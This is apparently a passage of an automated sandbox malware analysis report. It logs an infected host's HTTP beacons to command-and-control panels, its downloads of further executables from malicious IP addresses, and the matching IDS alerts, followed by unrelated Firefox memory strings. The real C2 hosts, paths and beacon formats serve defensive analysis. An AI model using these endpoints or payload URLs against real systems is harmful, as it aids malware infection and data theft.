Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /innoinstaller.exe HTTP/1.1Host: 41.216.183.61
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002763001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002764001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002765001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build"tale------CAFIJKFHIJKKEBGCFBFH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002766001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="build"tale------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002767001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 185.215.113.16 185.215.113.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63780 -> 41.216.183.61:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63827 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63886 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63946 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:63964 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63986 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:63986 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_003FBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 8_2_003FBE30
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /innoinstaller.exe HTTP/1.1Host: 41.216.183.61
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || 'www.' || :strippedURL AND :prefix || 'www.' || :strippedURL || X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || 'www.' || :strippedURL AND :prefix || 'www.' || :strippedURL || X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || 'www.' || :strippedURL AND :prefix || 'www.' || :strippedURL || X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == 